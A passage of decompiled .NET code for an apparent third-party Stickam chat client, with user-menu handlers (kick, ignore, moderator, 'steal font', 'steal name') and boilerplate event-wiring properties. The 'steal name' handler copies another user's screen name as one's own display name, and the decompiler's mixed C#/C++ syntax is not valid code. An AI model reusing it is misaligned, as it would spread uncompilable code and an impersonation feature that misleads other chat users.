                NewLateBinding::LateCall(this->ScriptControl, 0, S"Run", arguments, 0, 0, copyBack, true);
                if (copyBack[1])
                {
                    myVars->selectedUser = *static_cast<__box String*>(Conversions::ChangeType(RuntimeHelpers::GetObjectValue(arguments[1]), __typeof(String)));
                }
            }
            catch (Exception __gc* exception1)
            {
                ProjectData::SetProjectError(exception1);
                Exception __gc* exception = exception1;
                this->ScriptError(S"Client_makeModerator");
                ProjectData::ClearProjectError();
            }
        }

        private: void __gc* UserMenu_Opening(Object __gc* sender, CancelEventArgs __gc* e)
        {
            if (this->UserlistCtl->SelectedNode == 0)
            {
                e->Cancel = true;
            }
            else
            {
                Object __gc* objectValue = RuntimeHelpers::GetObjectValue(this->Userlist->getParam(this->UserlistCtl->SelectedNode->Name, this->Userlist->screenName));
                if (Conversions::ToBoolean(this->Userlist->getParam(this->UserlistCtl->SelectedNode->Name, *static_cast<__box Int32*>(-(this->Userlist->isIgnored > false)))))
                {
                    this->UserMenu_IgnoreUser->Text = Conversions::ToString(Operators::AddObject(S"Unignore ", objectValue));
                }
                else
                {
                    this->UserMenu_IgnoreUser->Text = Conversions::ToString(Operators::AddObject(S"Ignore ", objectValue));
                }
                this->UserMenu_KickUser->Text = Conversions::ToString(Operators::AddObject(S"Kick ", objectValue));
                if (Conversions::ToBoolean(Operators::OrObject(this->Userlist->getParam(this->MyVars->myUserID, this->Userlist->isModerator), this->Userlist->getParam(this->MyVars->myUserID, this->Userlist->isOwner))))
                {
                    this->UserMenu_KickUser->Visible = true;
                }
                else
                {
                    this->UserMenu_KickUser->Visible = false;
                }
                if (Conversions::ToBoolean(this->Userlist->getParam(this->MyVars->myUserID, this->Userlist->isOwner)))
                {
                    this->UserMenu_MakeModerator->Visible = true;
                    if (Conversions::ToBoolean(this->Userlist->getParam(this->UserlistCtl->SelectedNode->Name, this->Userlist->isModerator)))
                    {
                        this->UserMenu_MakeModerator->Text = S"Unmake Moderator";
                    }
                    else
                    {
                        this->UserMenu_MakeModerator->Text = S"Make Moderator";
                    }
                }
                else
                {
                    this->UserMenu_MakeModerator->Visible = false;
                }
            }
        }

        private: void __gc* UserMenu_SendMessage_Click(Object __gc* sender, EventArgs __gc* e)
        {
            this->OpenPrivateMessage(this->MyVars->selectedUser);
        }

        private: void __gc* UserMenu_StealFont_Click(Object __gc* sender, EventArgs __gc* e)
        {
            String __gc* selectedUser = this->MyVars->selectedUser;
            MySettingsProperty::Settings->FontBold = Conversions::ToBoolean(this->Userlist->getParam(selectedUser, this->Userlist->fontBold));
            MySettingsProperty::Settings->FontColor = Conversions::ToString(this->Userlist->getParam(selectedUser, this->Userlist->fontColor));
            MySettingsProperty::Settings->FontFamily = Conversions::ToString(this->Userlist->getParam(selectedUser, this->Userlist->font));
            MySettingsProperty::Settings->FontItalics = Conversions::ToBoolean(this->Userlist->getParam(selectedUser, this->Userlist->fontItalics));
            MySettingsProperty::Settings->FontSize = Conversions::ToInteger(this->Userlist->getParam(selectedUser, this->Userlist->fontSize));
            MySettingsProperty::Settings->FontUnderline = Conversions::ToBoolean(this->Userlist->getParam(selectedUser, this->Userlist->fontUnderline));
            this->UpdateFont();
            this->addColorText(Conversions::ToString(Operators::AddObject(Operators::AddObject(S"Font stolen from ", this->Userlist->getParam(selectedUser, this->Userlist->screenName)), S".")), S"Green", true);
        }

        public: void __gc* UserMenu_StealFontName_Click(Object __gc* sender, EventArgs __gc* e)
        {
            this->UserMenu_StealFont_Click(0, 0);
            this->UserMenu_StealName_Click(0, 0);
        }

        private: void __gc* UserMenu_StealName_Click(Object __gc* sender, EventArgs __gc* e)
        {
            this->setDisplayName(Conversions::ToString(this->Userlist->getParam(this->MyVars->selectedUser, this->Userlist->screenName)));
        }

        private: void __gc* UserMenu_ViewProfile_Click(Object __gc* sender, EventArgs __gc* e)
        {
            NewLateBinding::LateCall(0, __typeof(Process), S"Start", __gc new Object __gc*[1] {
                Operators::AddObject(S"http://www.stickam.com/", this->Userlist->getParam(this->MyVars->selectedUser, this->Userlist->userName))}, 0, 0, 0, true);
        }

        public: String __gc* utf8ToUnicode(String __gc* str)
        {
            return Globals::EncoderUTF8->GetString(Globals::Encoder->GetBytes(str));
        }

        public: void __gc* webpageEval(Object __gc* ScriptStr)
        {
            if (MyProject::Forms->Form_Webpage->Loaded)
            {
                MyProject::Forms->Form_Webpage->Browser->Document->InvokeScript(S"eval", __gc new Object __gc*[1] {
                    RuntimeHelpers::GetObjectValue(ScriptStr)});
            }
        }


        // Properties
        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_About()
        {
            return this->_About;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_About(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.About_Click);
            if (this->_About != 0)
            {
                this->_About->Click -= handler;
            }
            this->_About = WithEventsValue;
            if (this->_About != 0)
            {
                this->_About->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_ChatMenu()
        {
            return this->_ChatMenu;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ChatMenu(ToolStripMenuItem __gc* WithEventsValue)
        {
            this->_ChatMenu = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_ChatOptions()
        {
            return this->_ChatOptions;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ChatOptions(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.ChatOptions_Click);
            if (this->_ChatOptions != 0)
            {
                this->_ChatOptions->Click -= handler;
            }
            this->_ChatOptions = WithEventsValue;
            if (this->_ChatOptions != 0)
            {
                this->_ChatOptions->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_ClearChat()
        {
            return this->_ClearChat;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ClearChat(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.ClearChat_Click);
            if (this->_ClearChat != 0)
            {
                this->_ClearChat->Click -= handler;
            }
            this->_ClearChat = WithEventsValue;
            if (this->_ClearChat != 0)
            {
                this->_ClearChat->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_Dataflow()
        {
            return this->_Dataflow;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_Dataflow(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.Dataflow_Click);
            if (this->_Dataflow != 0)
            {
                this->_Dataflow->Click -= handler;
            }
            this->_Dataflow = WithEventsValue;
            if (this->_Dataflow != 0)
            {
                this->_Dataflow->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_DisablePM()
        {
            return this->_DisablePM;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_DisablePM(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.DisablePM_Click);
            if (this->_DisablePM != 0)
            {
                this->_DisablePM->Click -= handler;
            }
            this->_DisablePM = WithEventsValue;
            if (this->_DisablePM != 0)
            {
                this->_DisablePM->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_Disconnect()
        {
            return this->_Disconnect;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_Disconnect(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.Disconnect_Click);
            if (this->_Disconnect != 0)
            {
                this->_Disconnect->Click -= handler;
            }
            this->_Disconnect = WithEventsValue;
            if (this->_Disconnect != 0)
            {
                this->_Disconnect->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripTextBox __gc* get_DisplayName()
        {
            return this->_DisplayName;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_DisplayName(ToolStripTextBox __gc* WithEventsValue)
        {
            this->_DisplayName = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_DisplayNameMenu()
        {
            return this->_DisplayNameMenu;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_DisplayNameMenu(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.DisplayNameMenu_DropDownClosed);
            if (this->_DisplayNameMenu != 0)
            {
                this->_DisplayNameMenu->DropDownClosed -= handler;
            }
            this->_DisplayNameMenu = WithEventsValue;
            if (this->_DisplayNameMenu != 0)
            {
                this->_DisplayNameMenu->DropDownClosed += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_ExecuteStatement()
        {
            return this->_ExecuteStatement;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ExecuteStatement(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.ExecuteStatement_Click);
            if (this->_ExecuteStatement != 0)
            {
                this->_ExecuteStatement->Click -= handler;
            }
            this->_ExecuteStatement = WithEventsValue;
            if (this->_ExecuteStatement != 0)
            {
                this->_ExecuteStatement->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_HelpMenu()
        {
            return this->_HelpMenu;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_HelpMenu(ToolStripMenuItem __gc* WithEventsValue)
        {
            this->_HelpMenu = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_JoinLive()
        {
            return this->_JoinLive;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_JoinLive(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.JoinLive_Click);
            if (this->_JoinLive != 0)
            {
                this->_JoinLive->Click -= handler;
            }
            this->_JoinLive = WithEventsValue;
            if (this->_JoinLive != 0)
            {
                this->_JoinLive->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_JoinRoom()
        {
            return this->_JoinRoom;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_JoinRoom(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.JoinRoom_Click);
            if (this->_JoinRoom != 0)
            {
                this->_JoinRoom->Click -= handler;
            }
            this->_JoinRoom = WithEventsValue;
            if (this->_JoinRoom != 0)
            {
                this->_JoinRoom->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual RichTextBox __gc* get_LobbyChat()
        {
            return this->_LobbyChat;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_LobbyChat(RichTextBox __gc* WithEventsValue)
        {
            LinkClickedEventHandler __gc* handler = new LinkClickedEventHandler __gc*(this.LobbyChat_LinkClicked);
            if (this->_LobbyChat != 0)
            {
                this->_LobbyChat->LinkClicked -= handler;
            }
            this->_LobbyChat = WithEventsValue;
            if (this->_LobbyChat != 0)
            {
                this->_LobbyChat->LinkClicked += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual TextBox __gc* get_LobbyInput()
        {
            return this->_LobbyInput;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_LobbyInput(TextBox __gc* WithEventsValue)
        {
            KeyPressEventHandler __gc* handler = new KeyPressEventHandler __gc*(this.LobbyInput_KeyPress);
            if (this->_LobbyInput != 0)
            {
                this->_LobbyInput->KeyPress -= handler;
            }
            this->_LobbyInput = WithEventsValue;
            if (this->_LobbyInput != 0)
            {
                this->_LobbyInput->KeyPress += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_Login()
        {
            return this->_Login;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_Login(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.Login_Click);
            if (this->_Login != 0)
            {
                this->_Login->Click -= handler;
            }
            this->_Login = WithEventsValue;
            if (this->_Login != 0)
            {
                this->_Login->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual MenuStrip __gc* get_MenuStrip1()
        {
            return this->_MenuStrip1;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_MenuStrip1(MenuStrip __gc* WithEventsValue)
        {
            this->_MenuStrip1 = WithEventsValue;
        }

        [DebuggerNonUserCode]
        private: __property virtual Timer __gc* get_PingTimer()
        {
            return this->_PingTimer;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        private: __property virtual void __gc* set_PingTimer(Timer __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.PingTimer_Tick);
            if (this->_PingTimer != 0)
            {
                this->_PingTimer->Tick -= handler;
            }
            this->_PingTimer = WithEventsValue;
            if (this->_PingTimer != 0)
            {
                this->_PingTimer->Tick += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_PM_Mode()
        {
            return this->_PM_Mode;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_PM_Mode(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.PM_Mode_Click);
            if (this->_PM_Mode != 0)
            {
                this->_PM_Mode->Click -= handler;
            }
            this->_PM_Mode = WithEventsValue;
            if (this->_PM_Mode != 0)
            {
                this->_PM_Mode->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_ProxySettings()
        {
            return this->_ProxySettings;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ProxySettings(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.ProxySettings_Click);
            if (this->_ProxySettings != 0)
            {
                this->_ProxySettings->Click -= handler;
            }
            this->_ProxySettings = WithEventsValue;
            if (this->_ProxySettings != 0)
            {
                this->_ProxySettings->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_ResetHandler()
        {
            return this->_ResetHandler;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ResetHandler(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.ResetHandler_Click);
            if (this->_ResetHandler != 0)
            {
                this->_ResetHandler->Click -= handler;
            }
            this->_ResetHandler = WithEventsValue;
            if (this->_ResetHandler != 0)
            {
                this->_ResetHandler->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_SaveChat()
        {
            return this->_SaveChat;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_SaveChat(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.SaveChat_Click);
            if (this->_SaveChat != 0)
            {
                this->_SaveChat->Click -= handler;
            }
            this->_SaveChat = WithEventsValue;
            if (this->_SaveChat != 0)
            {
                this->_SaveChat->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_ScriptMenu()
        {
            return this->_ScriptMenu;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ScriptMenu(ToolStripMenuItem __gc* WithEventsValue)
        {
            this->_ScriptMenu = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_ShowData()
        {
            return this->_ShowData;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ShowData(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.ShowData_Click);
            if (this->_ShowData != 0)
            {
                this->_ShowData->Click -= handler;
            }
            this->_ShowData = WithEventsValue;
            if (this->_ShowData != 0)
            {
                this->_ShowData->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual SplitContainer __gc* get_SplitContainer1()
        {
            return this->_SplitContainer1;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_SplitContainer1(SplitContainer __gc* WithEventsValue)
        {
            this->_SplitContainer1 = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual SplitContainer __gc* get_SplitContainer2()
        {
            return this->_SplitContainer2;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_SplitContainer2(SplitContainer __gc* WithEventsValue)
        {
            this->_SplitContainer2 = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripStatusLabel __gc* get_Status()
        {
            return this->_Status;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_Status(ToolStripStatusLabel __gc* WithEventsValue)
        {
            this->_Status = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual StatusStrip __gc* get_StatusStrip1()
        {
            return this->_StatusStrip1;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_StatusStrip1(StatusStrip __gc* WithEventsValue)
        {
            this->_StatusStrip1 = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_StickamMenu()
        {
            return this->_StickamMenu;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_StickamMenu(ToolStripMenuItem __gc* WithEventsValue)
        {
            this->_StickamMenu = WithEventsValue;
        }

        [DebuggerNonUserCode]
        private: __property virtual StickamRtmp __gc* get_StickamStream()
        {
            return this->_StickamStream;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        private: __property virtual void __gc* set_StickamStream(StickamRtmp __gc* WithEventsValue)
        {
            HandshakeReplyEventHandler __gc* handler = new HandshakeReplyEventHandler __gc*(this.StickamStream_HandshakeReply);
            DataArrivalEventHandler __gc* handler2 = new DataArrivalEventHandler __gc*(this.StickamStream_DataArrival);
            ConnectedEventHandler __gc* handler3 = new ConnectedEventHandler __gc*(this.StickamStream_Connected);
            ClosedEventHandler __gc* handler4 = new ClosedEventHandler __gc*(this.StickamStream_Closed);
            if (this->_StickamStream != 0)
            {
                this->_StickamStream->HandshakeReply -= handler;
                this->_StickamStream->DataArrival -= handler2;
                this->_StickamStream->Connected -= handler3;
                this->_StickamStream->Closed -= handler4;
            }
            this->_StickamStream = WithEventsValue;
            if (this->_StickamStream != 0)
            {
                this->_StickamStream->HandshakeReply += handler;
                this->_StickamStream->DataArrival += handler2;
                this->_StickamStream->Connected += handler3;
                this->_StickamStream->Closed += handler4;
            }
        }

        [DebuggerNonUserCode]
        private: __property virtual StickamHttp __gc* get_StickamWeb()
        {
            return this->_StickamWeb;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        private: __property virtual void __gc* set_StickamWeb(StickamHttp __gc* WithEventsValue)
        {
            RoomIPRetrievedEventHandler __gc* handler = new RoomIPRetrievedEventHandler __gc*(this.StickamWeb_RoomIPRetrieved);
            LoggedInEventHandler __gc* handler2 = new LoggedInEventHandler __gc*(this.StickamWeb_LoggedIn);
            HostIDRetrievedEventHandler __gc* handler3 = new HostIDRetrievedEventHandler __gc*(this.StickamWeb_HostIDRetrieved);
            RoomlistRetrievedEventHandler __gc* handler4 = new RoomlistRetrievedEventHandler __gc*(this.StickamWeb_RoomlistRetrieved);
            if (this->_StickamWeb != 0)
            {
                this->_StickamWeb->RoomIPRetrieved -= handler;
                this->_StickamWeb->LoggedIn -= handler2;
                this->_StickamWeb->HostIDRetrieved -= handler3;
                this->_StickamWeb->RoomlistRetrieved -= handler4;
            }
            this->_StickamWeb = WithEventsValue;
            if (this->_StickamWeb != 0)
            {
                this->_StickamWeb->RoomIPRetrieved += handler;
                this->_StickamWeb->LoggedIn += handler2;
                this->_StickamWeb->HostIDRetrieved += handler3;
                this->_StickamWeb->RoomlistRetrieved += handler4;
            }
        }

        [DebuggerNonUserCode]
        private: __property virtual Timer __gc* get_TimeoutTimer()
        {
            return this->_TimeoutTimer;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        private: __property virtual void __gc* set_TimeoutTimer(Timer __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.TimeoutTimer_Tick);
            if (this->_TimeoutTimer != 0)
            {
                this->_TimeoutTimer->Tick -= handler;
            }
            this->_TimeoutTimer = WithEventsValue;
            if (this->_TimeoutTimer != 0)
            {
                this->_TimeoutTimer->Tick += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripSeparator __gc* get_ToolStripSeparator1()
        {
            return this->_ToolStripSeparator1;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ToolStripSeparator1(ToolStripSeparator __gc* WithEventsValue)
        {
            this->_ToolStripSeparator1 = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripSeparator __gc* get_ToolStripSeparator2()
        {
            return this->_ToolStripSeparator2;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ToolStripSeparator2(ToolStripSeparator __gc* WithEventsValue)
        {
            this->_ToolStripSeparator2 = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripSeparator __gc* get_ToolStripSeparator3()
        {
            return this->_ToolStripSeparator3;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ToolStripSeparator3(ToolStripSeparator __gc* WithEventsValue)
        {
            this->_ToolStripSeparator3 = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripSeparator __gc* get_ToolStripSeparator4()
        {
            return this->_ToolStripSeparator4;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ToolStripSeparator4(ToolStripSeparator __gc* WithEventsValue)
        {
            this->_ToolStripSeparator4 = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripSeparator __gc* get_ToolStripSeparator5()
        {
            return this->_ToolStripSeparator5;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_ToolStripSeparator5(ToolStripSeparator __gc* WithEventsValue)
        {
            this->_ToolStripSeparator5 = WithEventsValue;
        }

        [DebuggerNonUserCode]
        public private: __property virtual TreeView __gc* get_UserlistCtl()
        {
            return this->_UserlistCtl;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserlistCtl(TreeView __gc* WithEventsValue)
        {
            TreeNodeMouseClickEventHandler __gc* handler = new TreeNodeMouseClickEventHandler __gc*(this.UserlistCtl_NodeMouseClick);
            TreeViewEventHandler __gc* handler2 = new TreeViewEventHandler __gc*(this.UserlistCtl_AfterSelect);
            if (this->_UserlistCtl != 0)
            {
                this->_UserlistCtl->NodeMouseClick -= handler;
                this->_UserlistCtl->AfterSelect -= handler2;
            }
            this->_UserlistCtl = WithEventsValue;
            if (this->_UserlistCtl != 0)
            {
                this->_UserlistCtl->NodeMouseClick += handler;
                this->_UserlistCtl->AfterSelect += handler2;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ContextMenuStrip __gc* get_UserMenu()
        {
            return this->_UserMenu;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserMenu(ContextMenuStrip __gc* WithEventsValue)
        {
            CancelEventHandler __gc* handler = new CancelEventHandler __gc*(this.UserMenu_Opening);
            if (this->_UserMenu != 0)
            {
                this->_UserMenu->Opening -= handler;
            }
            this->_UserMenu = WithEventsValue;
            if (this->_UserMenu != 0)
            {
                this->_UserMenu->Opening += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_UserMenu_GetUserInfo()
        {
            return this->_UserMenu_GetUserInfo;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserMenu_GetUserInfo(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.UserMenu_GetUserInfo_Click);
            if (this->_UserMenu_GetUserInfo != 0)
            {
                this->_UserMenu_GetUserInfo->Click -= handler;
            }
            this->_UserMenu_GetUserInfo = WithEventsValue;
            if (this->_UserMenu_GetUserInfo != 0)
            {
                this->_UserMenu_GetUserInfo->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_UserMenu_IgnoreUser()
        {
            return this->_UserMenu_IgnoreUser;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserMenu_IgnoreUser(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.UserMenu_IgnoreUser_Click);
            if (this->_UserMenu_IgnoreUser != 0)
            {
                this->_UserMenu_IgnoreUser->Click -= handler;
            }
            this->_UserMenu_IgnoreUser = WithEventsValue;
            if (this->_UserMenu_IgnoreUser != 0)
            {
                this->_UserMenu_IgnoreUser->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_UserMenu_KickUser()
        {
            return this->_UserMenu_KickUser;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserMenu_KickUser(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.UserMenu_KickUser_Click);
            if (this->_UserMenu_KickUser != 0)
            {
                this->_UserMenu_KickUser->Click -= handler;
            }
            this->_UserMenu_KickUser = WithEventsValue;
            if (this->_UserMenu_KickUser != 0)
            {
                this->_UserMenu_KickUser->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_UserMenu_MakeModerator()
        {
            return this->_UserMenu_MakeModerator;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserMenu_MakeModerator(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.UserMenu_MakeModerator_Click);
            if (this->_UserMenu_MakeModerator != 0)
            {
                this->_UserMenu_MakeModerator->Click -= handler;
            }
            this->_UserMenu_MakeModerator = WithEventsValue;
            if (this->_UserMenu_MakeModerator != 0)
            {
                this->_UserMenu_MakeModerator->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_UserMenu_SendMessage()
        {
            return this->_UserMenu_SendMessage;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserMenu_SendMessage(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.UserMenu_SendMessage_Click);
            if (this->_UserMenu_SendMessage != 0)
            {
                this->_UserMenu_SendMessage->Click -= handler;
            }
            this->_UserMenu_SendMessage = WithEventsValue;
            if (this->_UserMenu_SendMessage != 0)
            {
                this->_UserMenu_SendMessage->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_UserMenu_StealFont()
        {
            return this->_UserMenu_StealFont;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
        public private: __property virtual void __gc* set_UserMenu_StealFont(ToolStripMenuItem __gc* WithEventsValue)
        {
            EventHandler __gc* handler = new EventHandler __gc*(this.UserMenu_StealFont_Click);
            if (this->_UserMenu_StealFont != 0)
            {
                this->_UserMenu_StealFont->Click -= handler;
            }
            this->_UserMenu_StealFont = WithEventsValue;
            if (this->_UserMenu_StealFont != 0)
            {
                this->_UserMenu_StealFont->Click += handler;
            }
        }

        [DebuggerNonUserCode]
        public private: __property virtual ToolStripMenuItem __gc* get_UserMenu_StealFontName()
        {
            return this->_UserMenu_StealFontName;
        }
        [MethodImpl(MethodImplOptions::Synchronized), DebuggerNonUserCode]
